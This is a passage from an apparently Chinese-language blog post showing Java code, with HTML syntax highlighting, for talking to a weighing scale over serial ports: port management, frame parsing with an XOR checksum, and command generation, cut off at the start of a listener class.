class="type">SerialPortListener</span> <span class="variable">listener</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SerialPortListener</span>(port, portName, redisTemplate, redisKey);  </span><br><span class="line">            listeners.put(portName, listener);  </span><br><span class="line">            <span class="type">Thread</span> <span class="variable">listenerThread</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Thread</span>(listener);  </span><br><span class="line">            listenerThread.start();  </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 判断指定com口是否打开  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isPortOpen</span><span class="params">(String portName)</span> &#123;  </span><br><span class="line">        <span class="type">SerialPort</span> <span class="variable">port</span> <span class="operator">=</span> serialPorts.get(portName);  </span><br><span class="line">        <span class="keyword">return</span> port != <span class="literal">null</span> &amp;&amp; port.isOpen();  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 关闭指定com口  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">closePort</span><span class="params">(String portName)</span> &#123;  </span><br><span class="line">        <span class="type">SerialPort</span> <span class="variable">port</span> <span class="operator">=</span> serialPorts.get(portName);  </span><br><span class="line">        <span class="type">SerialPortListener</span> <span class="variable">listener</span> <span class="operator">=</span> listeners.get(portName);  </span><br><span class="line">        <span class="keyword">if</span> (port != <span class="literal">null</span> &amp;&amp; port.isOpen()) &#123;  </span><br><span class="line">            <span class="keyword">if</span> (listener != <span class="literal">null</span>) &#123;  </span><br><span class="line">                listener.stop();  </span><br><span class="line">                listeners.remove(portName);  </span><br><span class="line">            &#125;  </span><br><span class="line">            port.closePort();  </span><br><span class="line">            log.info(<span class="string">&quot;Closed Port: &#123;&#125;&quot;</span>, portName);  </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 向指定com口发送数据  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">write</span><span class="params">(String portName, <span class="type">byte</span>[] data)</span> &#123;  </span><br><span class="line">        <span class="type">SerialPort</span> <span class="variable">port</span> <span class="operator">=</span> serialPorts.get(portName);  </span><br><span class="line">        <span class="keyword">if</span> (port == <span class="literal">null</span> || !port.isOpen()) &#123;  </span><br><span class="line">            <span class="keyword">return</span> <span class="number">0</span>;  </span><br><span class="line">        &#125;  </span><br><span class="line">        <span class="keyword">return</span> port.writeBytes(data, data.length);  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 从指定com口读取数据  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">read</span><span class="params">(String portName, <span class="type">byte</span>[] data)</span> &#123;  </span><br><span class="line">        <span class="type">SerialPort</span> <span class="variable">port</span> <span class="operator">=</span> serialPorts.get(portName);  </span><br><span class="line">        <span class="keyword">if</span> (port == <span class="literal">null</span> || !port.isOpen()) &#123;  </span><br><span class="line">            <span class="keyword">return</span> <span class="number">0</span>;  </span><br><span class="line">        &#125;  </span><br><span class="line">        <span class="keyword">return</span> port.readBytes(data, data.length);  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 向指定com口发送数据并且读取数据  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="type">byte</span>[] writeAndRead(String portName, <span class="type">byte</span>[] bytes) &#123;  </span><br><span class="line">        <span class="type">byte</span>[] resultData = <span class="literal">null</span>;  </span><br><span class="line">        <span class="keyword">try</span> (<span class="type">ByteArrayOutputStream</span> <span class="variable">bao</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>()) &#123;  </span><br><span class="line">            <span class="type">SerialPort</span> <span class="variable">port</span> <span class="operator">=</span> serialPorts.get(portName);  </span><br><span class="line">            <span class="keyword">if</span> (port == <span class="literal">null</span> || !port.isOpen()) <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">BhudyException</span>(<span class="string">&quot;Port not open or not found: &quot;</span> + portName);  </span><br><span class="line">            <span class="type">int</span> <span class="variable">numWrite</span> <span class="operator">=</span> port.writeBytes(bytes, bytes.length);  </span><br><span class="line">            <span class="keyword">if</span> (numWrite &gt; <span class="number">0</span>) &#123;  </span><br><span class="line">                Thread.sleep(<span class="number">100</span>); <span class="comment">// 休眠0.1秒，等待下位机返回数据。如果不休眠直接读取，有可能无法成功读到数据  </span></span><br><span class="line">                <span class="keyword">while</span> (port.bytesAvailable() &gt; <span class="number">0</span>) &#123;  </span><br><span class="line">                    <span class="type">byte</span>[] newData = <span class="keyword">new</span> <span class="title class_">byte</span>[port.bytesAvailable()];  </span><br><span class="line">                    <span class="type">int</span> <span class="variable">numRead</span> <span class="operator">=</span> port.readBytes(newData, newData.length);  </span><br><span class="line">                    <span class="keyword">if</span> (numRead &gt; <span class="number">0</span>) &#123;  </span><br><span class="line">                        bao.write(newData);  </span><br><span class="line">                    &#125;  </span><br><span class="line">                &#125;  </span><br><span class="line">                resultData = bao.toByteArray();  </span><br><span class="line">            &#125;  </span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;  </span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">BhudyException</span>(e.getMessage());  </span><br><span class="line">        &#125;  </span><br><span class="line">        <span class="keyword">return</span> resultData;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 向指定com口发送数据并且读取数据  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">readWeightOnce</span><span class="params">(String portName)</span> &#123;  </span><br><span class="line">        <span class="keyword">try</span> &#123;  </span><br><span class="line">            <span class="comment">// 固定读取12位  </span></span><br><span class="line">            <span class="type">byte</span>[] readBuffer = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">12</span>];  </span><br><span class="line">            <span class="type">SerialPort</span> <span class="variable">port</span> <span class="operator">=</span> serialPorts.get(portName);  </span><br><span class="line">            <span class="type">int</span> <span class="variable">numRead</span> <span class="operator">=</span> port.readBytes(readBuffer, readBuffer.length);  </span><br><span class="line">            <span class="keyword">if</span> (numRead &gt; <span class="number">0</span>) &#123;  </span><br><span class="line">                <span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> SerialPortUtil.parseWeightData(readBuffer);  </span><br><span class="line">                log.info(<span class="string">&quot;&#123;&#125;读取只读取一次串口&#123;&#125;的数据为:&#123;&#125;&quot;</span>, LocalDateTime.now(), portName, result);  </span><br><span class="line">                <span class="keyword">return</span> result;  </span><br><span class="line">            &#125;  </span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;  </span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">BhudyException</span>(e.getMessage());  </span><br><span class="line">        &#125;  </span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 关闭所有com口  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">closeAllPorts</span><span class="params">()</span> &#123;  </span><br><span class="line">        <span class="keyword">for</span> (String portName : serialPorts.keySet()) &#123;  </span><br><span class="line">            closePort(portName);  </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="报文解析工具类">报文解析工具类</h3><p>包含指令生成和报文解析方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.weightscale.util;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> cn.allbs.weightscale.exception.BhudyException;  </span><br><span class="line"><span class="keyword">import</span> lombok.experimental.UtilityClass;  </span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> java.util.Arrays;  </span><br><span class="line">  </span><br><span class="line"><span class="comment">/**  </span></span><br><span class="line"><span class="comment"> * 类 SerialPortUtil  </span></span><br><span class="line"><span class="comment"> * * <span class="doctag">@author</span> ChenQi  </span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2024/6/11  </span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="meta">@Slf4j</span>  </span><br><span class="line"><span class="meta">@UtilityClass</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SerialPortUtil</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 十六进制数的字符串转换为对应的字节数组  </span></span><br><span class="line"><span class="comment">     *  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> s 十六进制字符串  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 字节数组  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] hexStringToByteArray(String s) &#123;  </span><br><span class="line">        s = s.replaceAll(<span class="string">&quot;\\s&quot;</span>, <span class="string">&quot;&quot;</span>); <span class="comment">// 去除所有空格  </span></span><br><span class="line">        <span class="type">int</span> <span class="variable">len</span> <span class="operator">=</span> s.length();  </span><br><span class="line">  </span><br><span class="line">        <span class="comment">// 确保字符串长度为偶数  </span></span><br><span class="line">        <span class="keyword">if</span> (len % <span class="number">2</span> != <span class="number">0</span>) &#123;  </span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(<span class="string">&quot;Invalid hex string: &quot;</span> + s);  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">        <span class="type">byte</span>[] data = <span class="keyword">new</span> <span class="title class_">byte</span>[len / <span class="number">2</span>];  </span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; len; i += <span class="number">2</span>) &#123;  </span><br><span class="line">            <span class="type">int</span> <span class="variable">high</span> <span class="operator">=</span> Character.digit(s.charAt(i), <span class="number">16</span>);  </span><br><span class="line">            <span class="type">int</span> <span class="variable">low</span> <span class="operator">=</span> Character.digit(s.charAt(i + <span class="number">1</span>), <span class="number">16</span>);  </span><br><span class="line">            <span class="keyword">if</span> (high == -<span class="number">1</span> || low == -<span class="number">1</span>) &#123;  </span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(<span class="string">&quot;Invalid hex character in string: &quot;</span> + s);  </span><br><span class="line">            &#125;  </span><br><span class="line">            data[i / <span class="number">2</span>] = (<span class="type">byte</span>) ((high &lt;&lt; <span class="number">4</span>) + low);  </span><br><span class="line">        &#125;  </span><br><span class="line">        <span class="keyword">return</span> data;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 字节数组转换为十六进制字符串  </span></span><br><span class="line"><span class="comment">     *  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> byteArray 字节数组  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 十六进制字符串  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">byteArrayToHexString</span><span class="params">(<span class="type">byte</span>[] byteArray)</span> &#123;  </span><br><span class="line">        <span class="type">StringBuilder</span> <span class="variable">hexString</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();  </span><br><span class="line">        <span class="keyword">for</span> (<span class="type">byte</span> b : byteArray) &#123;  </span><br><span class="line">            hexString.append(String.format(<span class="string">&quot;%02X &quot;</span>, b));  </span><br><span class="line">        &#125;  </span><br><span class="line">        <span class="comment">// 去掉最后一个空格  </span></span><br><span class="line">        <span class="keyword">return</span> hexString.toString().trim();  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 解析重量数据（主要是校验）  </span></span><br><span class="line"><span class="comment">     *  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> data 数据  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 重量  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">parseWeightData</span><span class="params">(<span class="type">byte</span>[] data)</span> &#123;  </span><br><span class="line">        <span class="keyword">if</span> (data.length &lt; <span class="number">12</span>) &#123;  </span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">BhudyException</span>(<span class="string">&quot;串口未接收到数据或者数据长度不够，返回数据内容为&quot;</span> + Arrays.toString(data));  </span><br><span class="line">        &#125;  </span><br><span class="line">        <span class="keyword">if</span> (data[<span class="number">0</span>] != <span class="number">0x02</span> || data[data.length - <span class="number">1</span>] != <span class="number">0x03</span>) &#123;  </span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(<span class="string">&quot;Invalid data format&quot;</span>);  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">        <span class="type">byte</span>[] payload = Arrays.copyOfRange(data, <span class="number">1</span>, data.length - <span class="number">3</span>);  </span><br><span class="line">        <span class="type">byte</span> <span class="variable">xorHigh</span> <span class="operator">=</span> data[data.length - <span class="number">3</span>];  </span><br><span class="line">        <span class="type">byte</span> <span class="variable">xorLow</span> <span class="operator">=</span> data[data.length - <span class="number">2</span>];  </span><br><span class="line">        <span class="type">byte</span> <span class="variable">end</span> <span class="operator">=</span> data[data.length - <span class="number">1</span>];  </span><br><span class="line">  </span><br><span class="line">        <span class="comment">// 校验异或  </span></span><br><span class="line">        <span class="type">byte</span> <span class="variable">calculatedXor</span> <span class="operator">=</span> <span class="number">0</span>;  </span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt; data.length - <span class="number">3</span>; i++) &#123; <span class="comment">// 从第2位到异或校验前一位  </span></span><br><span class="line">            calculatedXor ^= data[i];  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">        <span class="type">byte</span> <span class="variable">expectedXorHigh</span> <span class="operator">=</span> (<span class="type">byte</span>) ((calculatedXor &gt;&gt; <span class="number">4</span>) &amp; <span class="number">0x0F</span>);  </span><br><span class="line">        <span class="type">byte</span> <span class="variable">expectedXorLow</span> <span class="operator">=</span> (<span class="type">byte</span>) (calculatedXor &amp; <span class="number">0x0F</span>);  </span><br><span class="line">  </span><br><span class="line">        <span class="comment">// Convert XOR values to ASCII  </span></span><br><span class="line">        expectedXorHigh += (<span class="type">byte</span>) ((expectedXorHigh &lt;= <span class="number">9</span>) ? <span class="number">0x30</span> : <span class="number">0x37</span>);  </span><br><span class="line">        expectedXorLow += (<span class="type">byte</span>) ((expectedXorLow &lt;= <span class="number">9</span>) ? <span class="number">0x30</span> : <span class="number">0x37</span>);  </span><br><span class="line">  </span><br><span class="line">        <span class="keyword">if</span> (expectedXorHigh != xorHigh || expectedXorLow != xorLow) &#123;  </span><br><span class="line">            log.info(<span class="string">&quot;校验失败，报文中高四位&#123;&#125;,低四位&#123;&#125;;主动校验后的高四位:&#123;&#125;,低四位&#123;&#125;;&quot;</span>, xorHigh, xorLow, expectedXorHigh, expectedXorLow);  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">        <span class="keyword">return</span> parseWeight(payload);  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 解析重量数据  </span></span><br><span class="line"><span class="comment">     *  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> payload 数据  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 重量  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> String <span class="title function_">parseWeight</span><span class="params">(<span class="type">byte</span>[] payload)</span> &#123;  </span><br><span class="line">        <span class="keyword">if</span> (payload.length != <span class="number">8</span>) &#123;  </span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(<span class="string">&quot;Invalid payload length for weight data&quot;</span>);  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">        <span class="type">char</span> <span class="variable">sign</span> <span class="operator">=</span> (<span class="type">char</span>) payload[<span class="number">0</span>];  </span><br><span class="line">        <span class="type">String</span> <span class="variable">weightValue</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">String</span>(Arrays.copyOfRange(payload, <span class="number">1</span>, <span class="number">7</span>)).trim();  </span><br><span class="line">        <span class="type">int</span> <span class="variable">decimalPointPosition</span> <span class="operator">=</span> payload[<span class="number">7</span>] - <span class="string">&#x27;0&#x27;</span>;  </span><br><span class="line">  </span><br><span class="line">        <span class="comment">// 插入小数点  </span></span><br><span class="line">        <span class="type">StringBuilder</span> <span class="variable">weight</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>(weightValue);  </span><br><span class="line">        <span class="keyword">if</span> (decimalPointPosition &gt; <span class="number">0</span> &amp;&amp; decimalPointPosition &lt; weight.length()) &#123;  </span><br><span class="line">            weight.insert(weight.length() - decimalPointPosition, <span class="string">&#x27;.&#x27;</span>);  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">        <span class="comment">// 转换为实际数值  </span></span><br><span class="line">        <span class="type">String</span> <span class="variable">weightString</span> <span class="operator">=</span> sign + weight.toString();  </span><br><span class="line">  </span><br><span class="line">        <span class="comment">// 去掉小数位为0的部分  </span></span><br><span class="line">        <span class="type">double</span> <span class="variable">weightNumber</span> <span class="operator">=</span> Double.parseDouble(weightString);  </span><br><span class="line">        <span class="keyword">if</span> (decimalPointPosition == <span class="number">0</span>) &#123;  </span><br><span class="line">            <span class="keyword">return</span> String.valueOf((<span class="type">int</span>) weightNumber); <span class="comment">// 如果小数位为0，返回整数  </span></span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">            <span class="keyword">return</span> String.valueOf(weightNumber);  </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 计算异或校验和  </span></span><br><span class="line"><span class="comment">     *  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> data 数据  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 校验和  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span> <span class="title function_">calculateXorChecksum</span><span class="params">(<span class="type">byte</span>[] data)</span> &#123;  </span><br><span class="line">        <span class="type">byte</span> <span class="variable">xor</span> <span class="operator">=</span> <span class="number">0</span>;  </span><br><span class="line">        <span class="keyword">for</span> (<span class="type">byte</span> b : data) &#123;  </span><br><span class="line">            xor ^= b;  </span><br><span class="line">        &#125;  </span><br><span class="line">        <span class="keyword">return</span> xor;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 生成指令  </span></span><br><span class="line"><span class="comment">     *  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> address 地址  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> command 指令  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 指令字节数组  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="type">byte</span>[] generateCommand(String address, <span class="type">char</span> command) &#123;  </span><br><span class="line">        <span class="type">byte</span> <span class="variable">start</span> <span class="operator">=</span> <span class="number">0x02</span>; <span class="comment">// 开始符  </span></span><br><span class="line">        <span class="type">byte</span> <span class="variable">end</span> <span class="operator">=</span> <span class="number">0x03</span>; <span class="comment">// 结束符  </span></span><br><span class="line">  </span><br><span class="line">        <span class="type">byte</span> <span class="variable">addressByte</span> <span class="operator">=</span> (<span class="type">byte</span>) address.charAt(<span class="number">0</span>);  </span><br><span class="line">        <span class="type">byte</span> <span class="variable">commandByte</span> <span class="operator">=</span> (<span class="type">byte</span>) command;  </span><br><span class="line">  </span><br><span class="line">        <span class="comment">// 计算异或校验  </span></span><br><span class="line">        <span class="type">byte</span> <span class="variable">xor</span> <span class="operator">=</span> (<span class="type">byte</span>) (addressByte ^ commandByte);  </span><br><span class="line">        <span class="type">byte</span> <span class="variable">xorHigh</span> <span class="operator">=</span> (<span class="type">byte</span>) ((xor &gt;&gt; <span class="number">4</span>) &amp; <span class="number">0x0F</span>);  </span><br><span class="line">        <span class="type">byte</span> <span class="variable">xorLow</span> <span class="operator">=</span> (<span class="type">byte</span>) (xor &amp; <span class="number">0x0F</span>);  </span><br><span class="line">  </span><br><span class="line">        <span class="comment">// 高四位和低四位的ASCII码转换  </span></span><br><span class="line">        xorHigh += (<span class="type">byte</span>) ((xorHigh &lt;= <span class="number">9</span>) ? <span class="number">0x30</span> : <span class="number">0x37</span>);  </span><br><span class="line">        xorLow += (<span class="type">byte</span>) ((xorLow &lt;= <span class="number">9</span>) ? <span class="number">0x30</span> : <span class="number">0x37</span>);  </span><br><span class="line">  </span><br><span class="line">        <span class="comment">// 生成字节数组  </span></span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">byte</span>[]&#123;start, addressByte, commandByte, xorHigh, xorLow, end&#125;;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;  </span><br><span class="line">        <span class="type">byte</span>[] data = &#123;  </span><br><span class="line">                <span class="number">0x02</span>, <span class="comment">// Start byte  </span></span><br><span class="line">                <span class="number">0x2B</span>, <span class="comment">// &#x27;+&#x27;  </span></span><br><span class="line">                <span class="number">0x30</span>, <span class="number">0x30</span>, <span class="number">0x31</span>, <span class="number">0x35</span>, <span class="number">0x30</span>, <span class="number">0x30</span>, <span class="number">0x30</span>, <span class="number">0x31</span>, <span class="comment">// &#x27;00150001&#x27;  </span></span><br><span class="line">                <span class="number">0x46</span>, <span class="comment">// XOR checksum  </span></span><br><span class="line">                <span class="number">0x03</span>  <span class="comment">// End byte  </span></span><br><span class="line">        &#125;;  </span><br><span class="line">  </span><br><span class="line">        <span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> parseWeightData(data);  </span><br><span class="line">        System.out.println(result);  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="串口监听器">串口监听器</h3><p>考虑到串口持续输出数据，所以在串口初始化时，起一个线程专门监听串口数据并解析存储数据。为了减轻cpu压力，设置每100毫秒接收解析一次数据，实际上1秒一次也绝对够了。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.weightscale.handler;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> cn.allbs.weightscale.constants.CommonConstants;  </span><br><span class="line"><span class="keyword">import</span> cn.allbs.weightscale.util.SerialPortUtil;  </span><br><span class="line"><span class="keyword">import</span> com.fazecast.jSerialComm.SerialPort;  </span><br><span class="line"><span class="keyword">import</span> 